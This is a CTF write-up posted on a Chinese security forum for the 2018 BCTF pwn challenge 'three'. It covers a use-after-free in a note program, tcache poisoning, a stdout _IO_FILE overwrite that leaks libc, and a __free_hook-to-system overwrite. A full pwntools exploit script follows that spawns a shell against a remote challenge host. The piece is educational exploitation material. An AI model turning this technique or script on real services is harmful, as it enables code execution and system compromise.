首页
论坛
课程
招聘
[原创]2018bctf three
2018-11-29 21:57 7914

[原创]2018bctf three

2018-11-29 21:57
7914

three

这道题证明了,逻辑简单的题目利用很困难(逻辑复杂的题逆向又很困难ORZ

基本逻辑

程序的逻辑很简单,三个功能:alloc,edit和delete。没有输出。本题控制了最多能申请三个块。

 

alloc函数,申请一个0x40大小的块,并输入内容。

int alloc()
{
  signed int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 2 && notes[i]; ++i )
    ;
  if ( i == 3 )
    return puts("Too many notes!");
  printf("Input the content:");
  notes[i] = malloc(0x40uLL);
  readn(notes[i], 64LL);
  return puts("Done!");
}

edit函数,修改块中的内容。

int edit()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  printf("Input the idx:");
  v1 = getint();
  if ( v1 < 0 || v1 > 2 || !notes[v1] )
    return puts("No such note!");
  printf("Input the content:");
  readn(notes[v1], 64LL);
  return puts("Done!");
}

delete函数,存在一点问题,如果没有输入'y',就不对notes[i]置零,存在UAF/double free漏洞。

unsigned __int64 delete()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Input the idx:");
  LODWORD(v1) = getint();
  if ( (signed int)v1 >= 0 && (signed int)v1 <= 2 && notes[(signed int)v1] )
  {
    free((void *)notes[(signed int)v1]);
    printf("Clear?(y/n):", v1);
    readn((char *)&v1 + 6, 2LL);
    if ( BYTE6(v1) == 121 )
      notes[(signed int)v1] = 0LL;
    puts("Done!");
  }
  else
  {
    puts("No such note!");
  }
  return __readfsqword(0x28u) ^ v2;
}

bug

delete函数中的UAF、double free漏洞。另外,给的libc版本是2.27,也就是bins中使用了tcache。虽然有UAF但是没有输出,所以泄露地址变得困难。

漏洞利用

泄露地址

释放一个块同时到unsortedbin和tcache中,释放到unsorted bin中的目的是获取libc相关的地址,释放到tcache则是为了利用类似于fastbin attack来修改FD指针。至于如何得到一个unsortedbin,稍稍有些复杂,思路就是在堆上伪造一个块,并能够操作size字段,使之size为0x91,然后释放7次该块,填满0x90大小的tcache。然后修改该块的大小为0x51,释放到tcache 0x50中,再修改块大小为0x91,释放时就能放入到unsorted bin中。这样,这个block既在unsortedbin里又在tcache里。

 

由于main_arena+88是libc中的地址,通过修改最后两字节能够修改tcache中FD的指向,但只有最后1.5个字节是固定的,剩下的0.5个字节就需要碰运气了。

 

新学到的一个思路:如果能够修改libc中stdout的_IO_write_base的值,由于puts会调用_IO_FILE_plus->vtable中的函数,从_IO_write_base中读数据。因此修改FD指向stdout,通过类似于fastbin attack的操作,将stdout这块交由用户输入,从而修改_IO_write_base

 

这里要补充一些关于puts函数的知识。在调用puts函数时,通过vtable调用了_IO_new_file_xsputn函数:

1203 size_t
1204    _IO_new_file_xsputn (FILE *f, const void *data, size_t n)
1205    {
1206      const char *s = (const char *) data;
1207      size_t to_do = n;
1208      int must_flush = 0;
1209      size_t count = 0;
1210    
1211      if (n <= 0)
1212        return 0;
1213      /* This is an optimized implementation.
1214         If the amount to be written straddles a block boundary
1215         (or the filebuf is unbuffered), use sys_write directly. */
1216    
1217      /* First figure out how much space is available in the buffer. */
1218      if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
1219        {
1220          count = f->_IO_buf_end - f->_IO_write_ptr;
1221          if (count >= n)
1222            {
1223              ……
1233            }
1234        }
1235      else if (f->_IO_write_end > f->_IO_write_ptr)
1236        count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
1237    
1238      /* Then fill the buffer. */
1239      if (count > 0)
1240        {
1241          if (count > to_do)
1242            count = to_do;
1243          f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
1244          s += count;
1245          to_do -= count;
1246        }
1247      if (to_do + must_flush > 0)
1248        {
1249          size_t block_size, do_write;
1250          /* Next flush the (full) buffer. */
                //调用_IO_new_file_overflow
1251          if (_IO_OVERFLOW (f, EOF) == EOF)
1252            /* If nothing else has to be written we must not signal the
1253               caller that everything has been written.  */
1254            return to_do == 0 ? EOF : n - to_do;
1255    
1256          /* Try to maintain alignment: write a whole number of blocks.  */
1257          block_size = f->_IO_buf_end - f->_IO_buf_base;
1258          do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
1259    
1260          if (do_write)
1261            {
                    //调用new_do_write
1262              count = new_do_write (f, s, do_write);
1263              to_do -= count;
1264              if (count < do_write)
1265                return n - to_do;
1266            }
1267    
1268          ……
1273        }
1274      return n - to_do;
1275    }

函数先调用_IO_OVERFLOW用于flush buffer,动态调试时可以看见对应的函数为_IO_new_file_overflow。正常情况下,IO_FILE中的_IO_read_XXX_IO_write_XXX_IO_buf_XXX指针的值比较相近,除了_IO_buf_end剩下的指针值都相同。(这个是我观察的,如果不对欢迎指正!)所以在下面的函数中,调用_IO_do_write读取从_IO_write_base_IO_write_ptr的内容并没有输出,因为二者的值是相同的。

pwndbg> p *(struct _IO_FILE *) 0x7ffff7dd0720
$8 = {
  _flags = -72537977, 
  _IO_read_ptr = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n", 
  _IO_read_end = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n", 
  _IO_read_base = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n", 
  _IO_write_base = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n", 
  _IO_write_ptr = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n", 
  _IO_write_end = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n", 
  _IO_buf_base = 0x7ffff7dd07a3 <_IO_2_1_stdout_+131> "\n", 
  _IO_buf_end = 0x7ffff7dd07a4 <_IO_2_1_stdout_+132> "", 
   ……
}
737 int
738    _IO_new_file_overflow (FILE *f, int ch)
739    {
740      if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
741        {
742          ……
744            return EOF;
745        }
746      /* If currently reading or no buffer allocated. */
747      if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
748        {
749          ……
            //修改_IO_XXX_XXX指针
781        }
782      if (ch == EOF)
          //调用_IO_do_write读取_IO_write_ptr中的内容
783        return _IO_do_write (f, f->_IO_write_base,
784                             f->_IO_write_ptr - f->_IO_write_base);
785      if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
786        if (_IO_do_flush (f) == EOF)
787          return EOF;
788      *f->_IO_write_ptr++ = ch;
789      if ((f->_flags & _IO_UNBUFFERED)
790          || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
          //调用_IO_do_write读取_IO_write_ptr中的内容
791        if (_IO_do_write (f, f->_IO_write_base,
792                          f->_IO_write_ptr - f->_IO_write_base) == EOF)
793          return EOF;
794      return (unsigned char) ch;
795    }

接着会调用new_do_write函数。block_size = f->_IO_buf_end - f->_IO_buf_base=1,则do_write = to_do= n。

 

在new_do_write中调用_IO_SYSWRITE,向fp中输出data(上面的s)中的to_do(上面的do_write)个字符。

437 static size_t
438    new_do_write (FILE *fp, const char *data, size_t to_do)
439    {
440      size_t count;
441      if (fp->_flags & _IO_IS_APPENDING)
442        /* On a system without a proper O_APPEND implementation,
443           you would need to sys_seek(0, SEEK_END) here, but is
444           not needed nor desirable for Unix- or Posix-like systems.
445           Instead, just indicate that offset (before and after) is
446           unpredictable. */
447        fp->_offset = _IO_pos_BAD;
448      else if (fp->_IO_read_end != fp->_IO_write_base)
449        {
450          off64_t new_pos
451            = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
452          if (new_pos == _IO_pos_BAD)
453            return 0;
454          fp->_offset = new_pos;
455        }
        //调用_IO_SYSWRITE
456      count = _IO_SYSWRITE (fp, data, to_do);
457      if (fp->_cur_column && count)
458        fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
459      _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
460      fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
461      fp->_IO_write_end = (fp->_mode <= 0
462                           && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
463                           ? fp->_IO_buf_base : fp->_IO_buf_end);
464      return count;
465    }

总结一下,也就是正常使用时,_IO_write_ptr_IO_write_base的值是相等的,调用_IO_OVERFLOW也不会输出内容,接着执行_IO_SYSWRITE输出data,也就是puts的参数。

 

但是如果我们能够修改_IO_write_base中的值,使它指向想要泄露的地址,那么在_IO_OVERFLOW中就能输出内容。

_IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);

_IO_do_write也是通过new_do_write实现的。为了通过该方法进行泄露,对一些值进行设置,绕过new_do_write里一些不需要的流程。

 

参考了vigneshsrao 的思路,观察_IO_new_file_overflownew_do_write

  1. 绕过_IO_new_file_overflow中的 if (f->_flags & _IO_NO_WRITES)

    防止在执行 _IO_do_write之前返回,其中_IO_NO_WRITES为0x8

  2. 绕过_IO_new_file_overflow中的if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)

    防止对我们设置好的指针进行重新赋值,使(f->_flags & _IO_CURRENTLY_PUTTING)==1,_IO_CURRENTLY_PUTTING为0x800

  3. 绕过new_do_write 中的 else if (fp->_IO_read_end != fp->_IO_write_base)

    防止在执行_IO_SYSWRITE之前return。vigneshsrao中给出的方法是,干脆不走这个else if,直接走上面的if (fp->_flags & _IO_IS_APPENDING),其中_IO_IS_APPENDING=0x1000。

综上,flag的值可以设置为0xfbad1800。由于我们要修改_IO_write_base的值,就把flag到_IO_write_base之间的_IO_read_XXX设置为0。然后修改_IO_write_base为想要泄露的地址。这里我修改的是让_IO_write_base指向自己所在的地址,即stdout+0x20,这样就能输出stdout+0x20中的内容,进而泄露libc地址。

覆写free_hook为system

修改一个位于tcache中的block的FD指针,指向free_hook。此时tcache0x50->堆->free_hook,而且由于指向stdout的note如果释放会出错(因为size位对应stderr中的值,非常大,释放时要通过size寻找inuse位)所以notes只剩1个,直接分配肯定不能分到free_hook。因此先把堆上的块分配出去,修改它的size为0x61,此时再释放这个块,它就会进入到tcache 0x60中,这样剩余的note正好分到free_hook。

利用脚本

from pwn import *
context.log_level = 'debug'
import random,struct
debug = 1
if debug:
    p = process('./three')#env={'LD_PRELOAD':'./libc.so.6'}
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    p=remote('39.96.13.122',9999)
    libc = ELF('./libc.so.6')

def add(content):
    p.sendlineafter("Your choice:",'1')
    p.sendafter("Input the content:",content)

def edit(idx,content):
    p.sendlineafter("Your choice:",'2')
    p.sendlineafter("Input the idx:",str(idx))
    p.sendafter("Input the content:",content)

def dele(idx,c):
    p.sendlineafter("Your choice:",'3')
    p.sendlineafter("Input the idx:",str(idx))
    p.sendlineafter("Clear?(y/n):",c)

def get_base(p1):
    f = open('/proc/'+str(pidof(p1)[0])+'/maps','r')
    while 1:
        tmp = f.readline()
        print tmp
        if 'libc-2.26.so' in tmp:
            libc_addr = int('0x'+tmp.split('-')[0],16)                    
            f.close()
            break
    print '[+] libc_addr :',hex(libc_addr)
    return libc_addr
#for unsortedbin check inuse
add('0'*0x3f+'\n')
add('0'*0x3f+'\n')
add('1'*8+p64(0x21)+p64(0)*3+p64(0x21))
dele(2,'y')
dele(1,'y')
dele(0,'y')

add(p64(0)*3+p64(0x91)+p64(0)+'\n')#0 260;make 280'size = 0x91
add('0gur1\n')#1 2b0
dele(1,'y')#tcache 0x50->2b0
dele(0,'n')#tcache 0x50->260->2b0

edit(0,'\x80')#tcache 0x50->260->280

add('1gur1\n')#1->0 260
add('2gur1\n')#2->0+0x20 280

dele(2,'n')
dele(2,'n')
dele(2,'n')
dele(2,'n')
dele(2,'n')
dele(2,'n')
dele(2,'n')#tcache 0x90 full with 280

edit(0,p64(0)*3+p64(0x51))#change 280's size to 0x51
dele(1,'y')#tcache 0x50->260
dele(2,'n')#tcache 0x50->280->260

edit(0,p64(0)*3+p64(0x91))#change 280's size to 0x91
dele(2,'y')#put 280 in unsortedbin;tcache 0x50->280->main+88

if debug:
    libc_base = get_base(p)
    stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']

    d = (stdout_addr)&0xffff
    c = struct.pack('cc',chr(d&0xff),chr(d>>8&0xff))

    edit(0,p64(0)*3+p64(0x91)+c)#tcache 0x50->280->&stdout

else:

    edit(0,p64(0)*3+p64(0x91)+'\x60\xf7')#tcache 0x50->280->&stdout

add('1gur1\n')#1->280
if debug:
    add(p64(0xfbad1800)+p64(0)*3+'\x40')#2->&stdout,edit stdout's flag and pointer
else:
    add(p64(0xfbad1800)+p64(0)*3+'\x80')#2->&stdout,edit stdout's flag and pointer
#puts leak libc address
libc_addr = u64(p.recv(8))-0x20-libc.symbols['_IO_2_1_stdout_']
log.info("libc_addr:%#x",libc_addr)
free_hook = libc_addr +libc.symbols['__free_hook']
sys_addr = libc_addr +libc.symbols['system']


edit(0,p64(0)*3+p64(0x51))#change 280's size to 0x51
dele(1,'y')#tcache 0x50->280
edit(0,p64(0)*3+p64(0x51)+p64(free_hook))#tcache 0x50->280->free_hook
add('1gur1\n')#1->280

edit(0,'/bin/sh\0'+p64(0)*2+p64(0x61))#change 280's size t0 0x61,not to put into tacache 0x50;tcache 0x50 ->free_hook
dele(1,'y')#tcache 0x60->280;tcache 0x50 ->free_hook
add(p64(sys_addr))#write free_hook to system

p.sendlineafter("Your choice:",'3')
p.sendlineafter("Input the idx:",str(0))


p.interactive()

[公告]《使用DCI技术进行全栈调试》训练营,硬件调试器你的,《软件调试》作者张银奎亲自授课!

最后于 2019-1-28 16:28 被oguri编辑 ,原因: 发现错误
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (3)
雪    币: 5131
活跃值: 活跃值 (6146)
能力值: (RANK:65 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2018-11-30 08:58
2
0
厉害
雪    币: 759
活跃值: 活跃值 (30)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
pwnda 活跃值 2 2018-11-30 21:27
3
0
厉害
雪    币: 349
活跃值: 活跃值 (36)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
iosmosis 活跃值 1 2019-3-16 22:10
4
0
厉害
游客
登录 | 注册 方可回帖
返回